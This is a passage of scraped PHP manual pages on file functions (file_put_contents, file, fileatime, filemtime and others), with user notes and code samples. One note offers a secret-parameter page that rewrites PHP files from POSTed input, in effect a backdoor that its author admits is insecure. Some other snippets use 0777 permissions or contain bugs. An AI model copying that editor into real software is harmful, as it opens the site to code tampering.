print (!$upload) ? 'Cannot upload' : 'Upload complete';
print "\n";
// close the FTP stream
ftp_close($conn_id);
?>
error at example dot com 11-Dec-2010 09:47
It's worth noting that you must make sure to use the correct path when working with this function. I was using it to help with logging in an error handler and sometimes it would work - while other times it wouldn't. In the end it was because sometimes it was called from different paths resulting in a failure to write to the log file.

__DIR__ is your friend.
hilton at allcor dot com dot br 04-Nov-2010 01:20
NOTE : file_put_contents create files UTF-8

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, utf8_encode($myContent));
?>
clement dot delmas at gmail dot com 17-Sep-2010 03:22
NOTE : file_put_contents doesn't add a valid BOM while creating the file

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, "\xEF\xBB\xBF".$myContent);
?>
deqode at felosity dot nl 15-Feb-2010 09:14
Please note that when saving using an FTP host, an additional stream context must be passed through telling PHP to overwrite the file.

<?php
 /* set the FTP hostname */
 $user = "test";
 $pass = "myFTP";
 $host = "example.com";
 $file = "test.txt";
 $hostname = $user . ":" . $pass . "@" . $host . "/" . $file;

 /* the file content */
 $content = "this is just a test.";

 /* create a stream context telling PHP to overwrite the file */
 $options = array('ftp' => array('overwrite' => true));
 $stream = stream_context_create($options);

 /* and finally, put the contents */
 file_put_contents($hostname, $content, 0, $stream);
?>
John Galt 29-Jul-2009 09:14
I use file_put_contents() as a method of very simple hit counters. These are two different examples of extremely simple hit counters, put on one line of code, each.

Keep in mind that they're not all that efficient. You must have a file called counter.txt with the initial value of 0.

For a text hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); echo $counter;
?>

Or a graphic hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); for($i = 0; $i < strlen($counter); $i++) echo "<img src=\"counter/".substr($counter, $i, 1).".gif\" alt=\"".substr($counter, $i, 1)."\" />";
?>
wjsams at gmail dot com 25-Jun-2009 05:57
file_put_contents() strips the last line ending

If you really want an extra line ending at the end of a file when writing with file_put_contents(), you must append an extra PHP_EOL to the end of the line as follows.

<?php
$a_str = array("these","are","new","lines");
$contents = implode(PHP_EOL, $a_str);
$contents .= PHP_EOL . PHP_EOL;
file_put_contents("newfile.txt", $contents);
print("|$contents|");
?>

You can see that when you print $contents you get two extra line endings, but if you view the file newfile.txt, you only get one.
kola_lola at hotmail dot com 07-Nov-2008 12:31
I wrote this script implementing the file_put_contents() and file_get_contents() functions to be compatible with both php4.* and php 5.*. It is a PHP Command line interface script which searches and replaces a specific word recursively through all files in the supplied directory hierarchy.

Usage from a Linux command line: ./scriptname specifieddirectory searchString replaceString

#!/usr/bin/php
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

if($argc != 4)
{
echo "This command replaces a search string with a replacement string\n for the contents of all files in a directory hierachy\n";
echo "command usage: $argv[0]  directory searchString replaceString\n";
echo "\n";
exit;
}
?><?php

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function get_file_contents($filename)

      /* Returns the contents of file name passed

      */
      {
      if (!function_exists('file_get_contents'))
      {
      $fhandle = fopen($filename, "r");
      $fcontents = fread($fhandle, filesize($filename));
      fclose($fhandle);
      }
      else
      {
      $fcontents = file_get_contents($filename);
      }
      return $fcontents;
      }
?><?php

function openFileSearchAndReplace($parentDirectory, $searchFor, $replaceWith)
{
//echo "debug here- line 1a\n";
//echo "$parentDirectory\n";
//echo "$searchFor\n";
//echo "$replaceWith\n";

if ($handle = opendir("$parentDirectory")) {
    while (false !== ($file = readdir($handle))) {
        if (($file != "." && $file != "..") && !is_dir($file)) {
          chdir("$parentDirectory"); //to make sure you are always in right directory
         // echo "$file\n";
         $holdcontents = file_get_contents($file);
         $holdcontents2 = str_replace($searchFor, $replaceWith, $holdcontents);
         file_put_contents($file, $holdcontents2);
         // echo "debug here- line 1\n";
         // echo "$file\n";

        }
        if(is_dir($file) && ($file != "." && $file != ".."))
        {
        $holdpwd = getcwd();
        //echo "holdpwd = $holdpwd \n";
        $newdir = "$holdpwd"."/$file";
        //echo "newdir = $newdir \n";  //for recursive call
        openFileSearchAndReplace($newdir, $searchFor, $replaceWith);
        //echo "debug here- line 2\n";
        //echo "$file\n";
        }
    }
    closedir($handle);
 }
}

$parentDirectory2 = $argv[1];
$searchFor2 = $argv[2];
$replaceWith2 = $argv[3];

//Please do not edit below to keep the rights to this script
//Free license, if contents below this line is not edited
echo "REPLACED\n'$searchFor2' with '$replaceWith2' recursively through directory listed below\nFor all files that current user has write permissions for\nDIRECTORY: '$parentDirectory2'\n";
echo "command written by Kolapo Akande :) all rights reserved :)\n";

 $holdpwd = getcwd();
 //echo "$holdpwd\n";
chdir($parentDirectory2);
openFileSearchAndReplace($parentDirectory2, $searchFor2, $replaceWith2);
exit;
?>
admin at nabito dot net 04-Aug-2008 10:11
This is example, how to save Error Array into simple log file

<?php

$error[] = 'some error';
$error[] = 'some error 2';

@file_put_contents('log.txt',date('c')."\n".implode("\n", $error),FILE_APPEND);

?>
TrentTompkins at gmail dot com 02-Jul-2008 02:25
File put contents fails if you try to put a file in a directory that doesn't exist. This creates the directory.

<?php
    function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';
        foreach($parts as $part)
            if(!is_dir($dir .= "/$part")) mkdir($dir);
        file_put_contents("$dir/$file", $contents);
    }
?>
Anonymous 02-May-2008 08:06
file_put_contents() will cause concurrency problems - that is, it doesn't write files atomically (in a single operation), which sometimes means that one php script will be able to, for example, read a file before another script is done writing that file completely.

The following function was derived from a function in Smarty (http://smarty.php.net) which uses rename() to replace the file - rename() is atomic on Linux.

On Windows, rename() is not currently atomic, but should be in the next release. Until then, this function, if used on Windows, will fall back on unlink() and rename(), which is still not atomic...

<?php

define("FILE_PUT_CONTENTS_ATOMIC_TEMP", dirname(__FILE__)."/cache");
define("FILE_PUT_CONTENTS_ATOMIC_MODE", 0777);

function file_put_contents_atomic($filename, $content) {

    $temp = tempnam(FILE_PUT_CONTENTS_ATOMIC_TEMP, 'temp');
    if (!($f = @fopen($temp, 'wb'))) {
        $temp = FILE_PUT_CONTENTS_ATOMIC_TEMP . DIRECTORY_SEPARATOR . uniqid('temp');
        if (!($f = @fopen($temp, 'wb'))) {
            trigger_error("file_put_contents_atomic() : error writing temporary file '$temp'", E_USER_WARNING);
            return false;
        }
    }

    fwrite($f, $content);
    fclose($f);

    if (!@rename($temp, $filename)) {
        @unlink($filename);
        @rename($temp, $filename);
    }

    @chmod($filename, FILE_PUT_CONTENTS_ATOMIC_MODE);

    return true;

}

?>
the geek man at hot mail point com 03-Jan-2008 12:23
I use the following code to create a rudimentary text editor. It's not fancy, but then it doesn't have to be. You could easily add a parameter to specify a file to edit; I have not done so to avoid the potential security headaches.

There are still obvious security holes here, but for most applications it should be reasonably safe if implemented for brief periods in a counterintuitive spot. (Nobody says you have to make a PHP file for that purpose; you can tack it on anywhere, so long as it is at the beginning of a file.)

<?php
$random1 = 'randomly_generated_string';
$random2 = 'another_randomly_generated_string';
$target_file = 'file_to_edit.php';
$this_file = 'the_current_file.php';

if ($_REQUEST[$random1] === $random2) {
    if (isset($_POST['content']))
        file_put_contents($target_file, get_magic_quotes_qpc() ? stripslashes($_POST['content']) : $_POST['content']);

    die('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>Editing...</title>
    </head>
    <body>
        <form method="post" action="' . $this_file . '" />
        <input type="hidden" name="' . $random1 . '" value="' . $random2 . '" />
        <textarea name="content" rows="50" cols="100">' . file_get_contents($target_file) . '</textarea><br />
        <input type="submit" value="Save Changes" />
        </form>
    </body>
</html>');
}
?>

Then simply browse to hxxp://www.example.com/{$this_file}?{$random1}={$random2}, with the appropriate values substituted for each bracketed variable. Please note that this code assumes the target file to be world writable (-rw-rw-rw- or 666) and will fail to save properly without error if it is not.

Once again, this is by no means secure or permanent, but as a quick fix for brief edits to noncritical files it should be sufficient, and its small size is a definite bonus.
egingell at sisna dot com 21-Dec-2007 04:15
There is a better way. www.php.net/touch

Since you're not adding anything to the file,

<?php
function updateFile($filename) {
    if (!file_exists($filename)) return;
    touch($filename);
}
?>
me at briandichiara dot com 04-Oct-2007 09:20
I was in need of a function that updated the last modified date in a php file. There may be a better way, but this is how I did it:

<?php
function updateFile($modFile){
    if(!empty($modFile)){
        if($fo = fopen($modFile, 'r')){
            $source = '';
            while (!feof($fo)) {
               $source .= fgets($fo);
            }
            file_put_contents($modFile,$source);
            fclose($fo);
        }
    }
}
?>
Curtis 21-Dec-2006 12:20
As to the previous user note, it would be wise to include that code within a conditional statement, as to prevent re-defining file_put_contents and the FILE_APPEND constant in PHP 5:

<?php
   if ( !function_exists('file_put_contents') && !defined('FILE_APPEND') ) {
   ...
   }
?>

Also, if the file could not be accessed for writing, the function should return boolean false, not 0. An error is different from 0 bytes written, in this case.
egingell at sisna dot com 23-Jul-2006 01:11
In reply to the previous note:

If you want to emulate this function in PHP4, you need to return the bytes written as well as support for arrays, flags.

I can only figure out the FILE_APPEND flag and array support. If I could figure out "resource context" and the other flags, I would include those too.

<?

define('FILE_APPEND', 1);
function file_put_contents($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
    $f = @fopen($n, $mode);
    if ($f === false) {
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }
}

?>
sendoshin at awswan dot com 06-Mar-2006 08:01
To clear up what was said by pvenegas+php at gmail dot com on 11-Oct-2005 08:13, file_put_contents() will replace the file by default.  Here's the complete set of rules this function follows when accessing a file:

1.  Was FILE_USE_INCUDE_PATH passed in the call?  If so, check the include path for an existing copy of *filename*.

2.  Does the file already exist?  If not, first create it in the current working directory.  Either way, open the file.

3.  Was LOCK_EX passed in the call?  If so, lock the file.

4.  Was the function called with FILE_APPEND?  If not, clear the file's contents.  Otherwise, move to the end of the file.

5.  Write *data* into the file.

6.  Close the file and release any locks.

If you don't want to completely replace the contents of the file you're writing to, be sure to use FILE_APPEND (same as fopen() with 'a') in the *flags*.  If you don't, whatever used to be there will be gone (fopen() with 'w').

Hope that helps someone (and that it makes sense ^^)!

- Sendoshin
aidan at php dot net 21-May-2004 04:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Reads entire file into an array

  • « file_put_contents
  • fileatime »
  • PHP Manual
  • Filesystem Functions
  • Reads entire file into an array

file

(PHP 4, PHP 5)

file — Reads entire file into an array

Description

array file ( string $filename [, int $flags = 0 [, resource $context ]] )

Reads an entire file into an array.

Note:

You can use file_get_contents() to return the contents of a file as a string.

Parameters

filename

Path to the file.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

flags

The optional parameter flags can be one, or more, of the following constants:

FILE_USE_INCLUDE_PATH
Search for the file in the include_path.
FILE_IGNORE_NEW_LINES
Do not add newline at the end of each array element
FILE_SKIP_EMPTY_LINES
Skip empty lines

context

A context resource created with the stream_context_create() function.

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns the file in an array. Each element of the array corresponds to a line in the file, with the newline still attached. Upon failure, file() returns FALSE.

Note:

Each line in the resulting array will include the line ending, unless FILE_IGNORE_NEW_LINES is used, so you still need to use rtrim() if you do not want the line ending present.

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

Changelog

Version | Description
4.3.0 | file() became binary safe

Examples

Example #1 file() example

<?php
// Get a file into an array.  In this example we'll go through HTTP to get
// the HTML source of a URL.
$lines = file('http://www.example.com/');

// Loop through our array, show HTML source as HTML source; and line numbers too.
foreach ($lines as $line_num => $line) {
    echo "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}

// Another example, let's get a web page into a string.  See also file_get_contents().
$html = implode('', file('http://www.example.com/'));

// Using the optional flags parameter since PHP 5
$trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
?>

Notes

Warning

When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP 4.3.7 and higher can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning.

See Also

  • readfile() - Outputs a file
  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection
  • popen() - Opens process file pointer
  • file_get_contents() - Reads entire file into a string
  • include - include
  • stream_context_create() - Creates a stream context

User Contributed Notes

Martin K. 06-Aug-2014 01:38
If the file you are reading is in CSV format do not use file(), use fgetcsv().  file() will split the file by each newline that it finds, even newlines that appear within a field (i.e. within quotations).
marco dot remy at aol dot com 17-Jun-2014 04:54
Here's my CSV converter
supports Header and trims all fields
Note: Headers must be not empty!

<?php

function csv2array($file, $delim = ';', $encl = '"', $header = false) {

    # File does not exist
    if(!file_exists($file))
        return false;

    # Read lines of file to array
    $file_lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

    # Empty file
    if($file_lines === array())
        return NULL;

    # Read headers if you want to
    if($header === true) {
        $line_header = array_shift($file_lines);
        $array_header = array_map('trim', str_getcsv($line_header, $delim, $encl));
    }

    $out = NULL;

    # Now line per line (strings)
    foreach ($file_lines as $line) {
        # Skip empty lines
        if(trim($line) === '')
            continue;

        # Convert line to array
        $array_fields = array_map('trim', str_getcsv($line, $delim, $encl));

        # If header present, combine header and fields as key => value
        if($header === true)
            $out[] = array_combine ($array_header, $array_fields);
        else
            $out[] = $array_fields;
    }

    return $out;
}
?>
Anonymous 26-Dec-2013 01:31
("file()'s problem with UTF-16" is wrong. This is updated.
The former may miss the last line of the string.)

file() seems to have a problem in handling
UTF-16 with or without BOM.

file() is likely to think "\n"=LF (0A) as a line-ending.
So, not only "000A" but also "010A, 020A,...,FE0A, FF0A,..."
are regarded as line-endings.

Moreover, file() causes a serious problem in UTF-16LE.
file() loses first "0A" (the first half of "0A00")!
And the next line begins with "00" (the rest of "0A00").
So lines after the first "0A" are totally different.

To avoid this phenomena,
eg. in case (php_script : UTF-8 , file : UTF-16 with line-ending "\r\n"),

<?php

mb_regex_encoding('UTF-16');    // to help mb_ereg_..() work properly
$str = file_get_contents($file_path);
$to_encoding = 'UTF-16';        // encoding of string
$from_encoding = 'UTF-8';        // encoding of PHP_script
$pattern1 = mb_convert_encoding('[^\r]*\r\n', $to_encoding, $from_encoding);
mb_ereg_search_init($str, $pattern1);
while ($res = mb_ereg_search_regs()) {
    $file[] = $res[0];
}
$pattern2 = mb_convert_encoding('\A.*\r\n(.*)\z', $to_encoding, $from_encoding);
mb_ereg($pattern2, $str, $match);
    $file[] = $match[1];

?>

instead of
$file = file($file_path);

If line-ending is "\n",
$pattern1 = mb_convert_encoding('[^\n]*\n', $to_encoding, $from_encoding);
bingo at dingo dot com 14-Oct-2013 09:36
To write all the lines of the file in other words to read the file line by line you can write the code like this:
<?php
$names=file('name.txt');
// To check the number of lines
echo count($names).'<br>';
foreach($names as $name)
{
   echo $name.'<br>';
}
?>

this example is so basic to understand how it's working. I hope it will help many beginners.

Regards,
Bingo
twichi at web dot de 13-Sep-2011 09:33
read from CSV data (file) into an array with named keys

... with or without 1st row = header (keys)
(see 4th parameter of function call as  true / false)

<?php
// --------------------------------------------------------------

function csv_in_array($url,$delm=";",$encl="\"",$head=false) {

    $csvxrow = file($url);   // ---- csv rows to array ----

    $csvxrow[0] = chop($csvxrow[0]);
    $csvxrow[0] = str_replace($encl,'',$csvxrow[0]);
    $keydata = explode($delm,$csvxrow[0]);
    $keynumb = count($keydata);

    if ($head === true) {
    $anzdata = count($csvxrow);
    $z=0;
    for($x=1; $x<$anzdata; $x++) {
        $csvxrow[$x] = chop($csvxrow[$x]);
        $csvxrow[$x] = str_replace($encl,'',$csvxrow[$x]);
        $csv_data[$x] = explode($delm,$csvxrow[$x]);
        $i=0;
        foreach($keydata as $key) {
            $out[$z][$key] = $csv_data[$x][$i];
            $i++;
            }
        $z++;
        }
    }
    else {
        $i=0;
        foreach($csvxrow as $item) {
            $item = chop($item);
            $item = str_replace($encl,'',$item);
            $csv_data = explode($delm,$item);
            for ($y=0; $y<$keynumb; $y++) {
               $out[$i][$y] = $csv_data[$y];
            }
        $i++;
        }
    }

return $out;
}

// --------------------------------------------------------------

?>

fuction call with 4 parameters:

(1) = the file with CSV data (url / string)
(2) = colum delimiter (e.g: ; or | or , ...)
(3) = values enclosed by (e.g: ' or " or ^ or ...)
(4) = with or without 1st row = head (true/false)

<?php

// ----- call ------
$csvdata = csv_in_array( $yourcsvfile, ";", "\"", true );
// -----------------

// ----- view ------
echo "<pre>\r\n";
print_r($csvdata);
echo "</pre>\r\n";
// -----------------

?>

PS: also see: http://php.net/manual/de/function.fgetcsv.php to read CSV data into an array
... and other file-handling methods

^
d basin 15-Oct-2009 12:47
this may be obvious, but it took me a while to figure out what I was doing wrong. So I wanted to share. I have a file on my "c:\" drive. How do I file() it?

Don't forget the backslash is special and you have to "escape" the backslash i.e. "\\":

<?php

$lines = file("C:\\Documents and Settings\\myfile.txt");

foreach($lines as $line)
{
    echo($line);
}

?>

hope this helps...
jon+spamcheck at phpsitesolutions dot com 16-Apr-2008 10:03
A user suggested using rtrim always, due to the line ending conflict with files that have an EOL that differs from the server EOL.

Using rtrim with it's default character replacement is a bad solution though, as it removes all whitespace in addition to the '\r' and '\n' characters.

A good solution using rtrim follows:

<?php
$line = rtrim($line, "\r\n") . PHP_EOL;
?>

This removes only EOL characters, and replaces with the server's EOL character, thus making preg_* work fine when matching the EOL ($)
vbchris at gmail dot com 16-Feb-2008 10:15
If you're getting "failed to open stream: Permission denied" when trying to use either file() or fopen() to access files on another server. Check your host doesn't have any firewall restrictions in-place which prevent outbound connections. This is the case with my host Aplus.net
Reversed: moc dot liamg at senroc dot werdna 12-Jul-2007 11:25
This note applies to PHP 5.1.6 under Windows (although may apply to other versions).

It appears that the 'FILE_IGNORE_NEW_LINES' flag doesn't remove newlines properly when reading Windows-style text files, i.e. files whose lines end in '\r\n'.

Solution: Always use 'rtrim()' in preference to 'FILE_IGNORE_NEW_LINES'.
info at carstanje dot com 28-Nov-2006 09:33
Using file() for reading large text files > 10 Mb gives problems, therefore you should use this instead. It is much slower but it works fine. $lines will return an array with all the lines.

<?php
$handle = @fopen('yourfile...', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
?>
justin at visunet dot ie 20-Mar-2003 06:36
Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file() For example:

<?php
$fd = fopen ("log_file.txt", "r");
while (!feof ($fd))
{
   $buffer = fgets($fd, 4096);
   $lines[] = $buffer;
}
fclose ($fd);
?>

The resulting array is $lines.

I did a test on a 200,000 line file. It took seconds with fgets()  compared to minutes with file().
andrea at brancatelli dot it 16-Mar-2002 08:16
file() has a strange behaviour when reading file with both \n and \r as line delimitator (DOS files), since it will return an array with every single line but with just a \n in the end. It seems like \r just disappears.

This is happening with PHP 4.0.4 for OS/2. Don't know about the Windows version.


Gets last access time of file

  • « file
  • filectime »
  • PHP Manual
  • Filesystem Functions
  • Gets last access time of file

fileatime

(PHP 4, PHP 5)

fileatime — Gets last access time of file

Description

int fileatime ( string $filename )

Gets the last access time of the given file.

Parameters

filename

Path to the file.

Return Values

Returns the time the file was last accessed, or FALSE on failure. The time is returned as a Unix timestamp.

Examples

Example #1 fileatime() example

<?php

// outputs e.g.  somefile.txt was last accessed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last accessed: " . date("F d Y H:i:s.", fileatime($filename));
}

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note:

The atime of a file is supposed to change whenever the data blocks of a file are being read. This can be costly performance-wise when an application regularly accesses a very large number of files or directories.

Some Unix filesystems can be mounted with atime updates disabled to increase the performance of such applications; USENET news spools are a common example. On such filesystems this function will be useless.

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filemtime() - Gets file modification time
  • fileinode() - Gets file inode
  • date() - Format a local time/date

User Contributed Notes

There are no user contributed notes for this page.


Gets inode change time of file

  • « fileatime
  • filegroup »
  • PHP Manual
  • Filesystem Functions
  • Gets inode change time of file

filectime

(PHP 4, PHP 5)

filectime — Gets inode change time of file

Description

int filectime ( string $filename )

Gets the inode change time of a file.

Parameters

filename

Path to the file.

Return Values

Returns the time the file was last changed, or FALSE on failure. The time is returned as a Unix timestamp.

Examples

Example #1 A filectime() example

<?php

// outputs e.g.  somefile.txt was last changed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last changed: " . date("F d Y H:i:s.", filectime($filename));
}

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note:

Note: In most Unix filesystems, a file is considered changed when its inode data is changed; that is, when the permissions, owner, group, or other metadata from the inode is updated. See also filemtime() (which is what you want to use when you want to create "Last Modified" footers on web pages) and fileatime().

Note:

Note also that in some Unix texts the ctime of a file is referred to as being the creation time of the file. This is wrong. There is no creation time for Unix files in most Unix filesystems.

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filemtime() - Gets file modification time

User Contributed Notes

coolkoon at gmail dot com 23-Jan-2011 11:42
You should avoid feeding the function files without a path. This applies for filemtime() and possibly fileatime() as well. If you omit the path the command will fail with the warning "filectime(): stat failed for filename.php".
m dot rabe at directbox dot com 07-Jan-2010 03:07
Under Windows you can use fileatime() instead of filectime().
soapergem at gmail dot com 05-Sep-2009 06:19
Note that on Windows systems, filectime will show the file creation time, as there is no such thing as "change time" in Windows.
javi at live dot com 03-Feb-2009 11:15
Filemtime seems to return the date of the EARLIEST modified file inside a folder, so this is a recursive function to return the date of the LAST (most recently) modified file inside a folder.

<?php

// Only take into account those files whose extensions you want to show.
$allowedExtensions = array(
  'zip',
  'rar',
  'pdf',
  'txt'
);

function filemtime_r($path)
{
    global $allowedExtensions;

    if (!file_exists($path))
        return 0;

    $extension = end(explode(".", $path));
    if (is_file($path) && in_array($extension, $allowedExtensions))
        return filemtime($path);
    $ret = 0;

     foreach (glob($path."/*") as $fn)
     {
        if (filemtime_r($fn) > $ret)
            $ret = filemtime_r($fn);
            // This will return a timestamp, you will have to use date().
     }
    return $ret;
}

?>
chuck dot reeves at gmail dot com 02-Oct-2007 06:14
filectime running on windows reading a file from a samba share, will still show the last modified date.
website at us dot kaspersky dot com 31-Aug-2007 07:51
Line 37 of the code above has an error.

echo  "File name: $file - Date Added: $date. <br/>"";

There is an extra "  after the <br/> that needs to be deleted in order for this code to work.
StevieMc at example dot com 15-Nov-2006 03:28
This method gets all the files in a directory, and echoes them in the order of the date they were added (by ftp or whatever).

<?PHP
function dirList ($directory, $sortOrder){

    //Get each file and add its details to two arrays
    $results = array();
    $handler = opendir($directory);
    while ($file = readdir($handler)) {
        if ($file != '.' && $file != '..' && $file != "robots.txt" && $file != ".htaccess"){
            $currentModified = filectime($directory."/".$file);
            $file_names[] = $file;
            $file_dates[] = $currentModified;
        }
    }
       closedir($handler);

    //Sort the date array by preferred order
    if ($sortOrder == "newestFirst"){
        arsort($file_dates);
    }else{
        asort($file_dates);
    }

    //Match file_names array to file_dates array
    $file_names_Array = array_keys($file_dates);
    foreach ($file_names_Array as $idx => $name) $name=$file_names[$name];
    $file_dates = array_merge($file_dates);

    $i = 0;

    //Loop through dates array and then echo the list
    foreach ($file_dates as $file_dates){
        $date = $file_dates;
        $j = $file_names_Array[$i];
        $file = $file_names[$j];
        $i++;

        echo  "File name: $file - Date Added: $date. <br/>"";
    }

}
?>

I hope this is useful to somebody.
laurent dot pireyn at wanadoo dot be 27-Sep-2001 02:01
If you use filectime with a symbolic link, you will get the change time of the file actually linked to. To get informations about the link self, use lstat.


Gets file group

  • « filectime
  • fileinode »
  • PHP Manual
  • Filesystem Functions
  • Gets file group

filegroup

(PHP 4, PHP 5)

filegroup — Gets file group

Description

int filegroup ( string $filename )

Gets the file group. The group ID is returned in numerical format, use posix_getgrgid() to resolve it to a group name.

Parameters

filename

Path to the file.

Return Values

Returns the group ID of the file, or FALSE if an error occurs. The group ID is returned in numerical format, use posix_getgrgid() to resolve it to a group name. Upon failure, FALSE is returned.

Examples

Example #1 Finding the group of a file

<?php
$filename = 'index.php';
print_r(posix_getgrgid(filegroup($filename)));
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • fileowner() - Gets file owner
  • posix_getgrgid() - Return info about a group by group id
  • safe_mode_gid

User Contributed Notes

There are no user contributed notes for this page.


Gets file inode

  • « filegroup
  • filemtime »
  • PHP Manual
  • Filesystem Functions
  • Gets file inode

fileinode

(PHP 4, PHP 5)

fileinode — Gets file inode

Description

int fileinode ( string $filename )

Gets the file inode.

Parameters

filename

Path to the file.

Return Values

Returns the inode number of the file, or FALSE on failure.

Examples

Example #1 Comparing the inode of a file with the current file

<?php
$filename = 'index.php';
if (getmyinode() == fileinode($filename)) {
    echo 'You are checking the current file.';
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • getmyinode() - Gets the inode of the current script
  • stat() - Gives information about a file

User Contributed Notes

mark nearby techexplained dot com 06-Jan-2005 06:37
This function, in spite of its name, also works for directories. Most any valid path in the filesystem will generate an inode value.


Gets file modification time

  • « fileinode
  • fileowner »
  • PHP Manual
  • Filesystem Functions
  • Gets file modification time

filemtime

(PHP 4, PHP 5)

filemtime — Gets file modification time

Description

int filemtime ( string $filename )

This function returns the time when the data blocks of a file were being written to, that is, the time when the content of the file was changed.

Parameters

filename

Path to the file.

Return Values

Returns the time the file was last modified, or FALSE on failure. The time is returned as a Unix timestamp, which is suitable for the date() function.

Examples

Example #1 filemtime() example

<?php
// outputs e.g.  somefile.txt was last modified: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last modified: " . date ("F d Y H:i:s.", filemtime($filename));
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filectime() - Gets inode change time of file
  • stat() - Gives information about a file
  • touch() - Sets access and modification time of file
  • getlastmod() - Gets time of last page modification

User Contributed Notes

son9ne at gmail dot com 02-Mar-2014 04:58
If you do use:
<?php
$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
?>

Make note that it will throw a warning as the documentation states. While tobias makes a good point for production, when error reporting is off, this can increase your performance over using `file_exists`. However, if error reporting is on and it's writing to a log... this is not the case. Obviously this varies on sever specs and the size of the error log. For most cases, it's still ideal to use the `file_exists` method.
arkadia81 at gmail dot com 04-Oct-2013 10:56
A little amendment to "tobias" post:

Insted of:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if (!$fmtime) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}

it should be something like this:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if ($fmtime != false) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
 }

filemtime() returns false on failure so in the first example it will never display the date modified.
tobias 19-Sep-2013 05:02
The mentioned example:

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", filemtime($filename));
}

works, however is not ideal from a performance point of view of serving static files through PHP, since it basically needs two perform two file system operations (file_exists and filemtime). A more effective way would be to only use filemtime and save the overhead of file_exists using:

$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
nieprzeklinaj at gmail dot com 22-Jan-2013 09:56
Here's a handy little function for smart cache overriding :)
<?php
function img($src, $alt='', $attr='')
{
    if(file_exists($src))
    {
        $lmod = filemtime($src);
